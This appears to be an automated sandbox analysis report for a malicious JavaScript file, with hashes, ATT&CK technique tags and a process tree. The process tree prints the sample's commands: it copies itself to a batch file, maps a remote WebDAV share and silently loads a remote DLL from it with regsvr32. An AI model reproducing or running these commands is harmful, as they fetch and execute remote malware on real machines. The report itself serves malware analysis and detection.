327aad49e2f6cb2b5014d750487a0f3fe5e7102aec23c50407add2ab13b9338e

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 18:56

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General

Target

288623129288629811.js
Size

5KB
MD5

27ec8012c9813c8ff50ebe971de23bfb
SHA1

8df64433d6f743c2524c7b210a71b2b29b943a81
SHA256

327aad49e2f6cb2b5014d750487a0f3fe5e7102aec23c50407add2ab13b9338e
SHA512

07abfb3fac91b07d9642b32615b2d47a5d2cf6d4f6ccf56da6e985e8e3a2f9635d3ffbbe13aff5c74b0f39da2721f1fde84e26bab839a0e7dcb7d34146367423
SSDEEP

96:iQlr8O3jvfPlMOOOOrTTPOOOD9VvK6IiojFVYjMYValVgkxVX:vIO7fdMOOO8zOOO51KtjFVYjMYAl6kxR

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1536	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 740	2316	wscript.exe	30
PID 2316 wrote to memory of 740	2316	wscript.exe	30
PID 2316 wrote to memory of 740	2316	wscript.exe	30
PID 740 wrote to memory of 2568	740	cmd.exe	32
PID 740 wrote to memory of 2568	740	cmd.exe	32
PID 740 wrote to memory of 2568	740	cmd.exe	32
PID 740 wrote to memory of 1536	740	cmd.exe	33
PID 740 wrote to memory of 1536	740	cmd.exe	33
PID 740 wrote to memory of 1536	740	cmd.exe	33
PID 740 wrote to memory of 1536	740	cmd.exe	33
PID 740 wrote to memory of 1536	740	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\288623129288629811.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\288623129288629811.js" "C:\Users\Admin\\hmidau.bat" && "C:\Users\Admin\\hmidau.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:740
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2568
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\419.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\hmidau.bat

Filesize
5KB

MD5
27ec8012c9813c8ff50ebe971de23bfb

SHA1
8df64433d6f743c2524c7b210a71b2b29b943a81

SHA256
327aad49e2f6cb2b5014d750487a0f3fe5e7102aec23c50407add2ab13b9338e

SHA512
07abfb3fac91b07d9642b32615b2d47a5d2cf6d4f6ccf56da6e985e8e3a2f9635d3ffbbe13aff5c74b0f39da2721f1fde84e26bab839a0e7dcb7d34146367423

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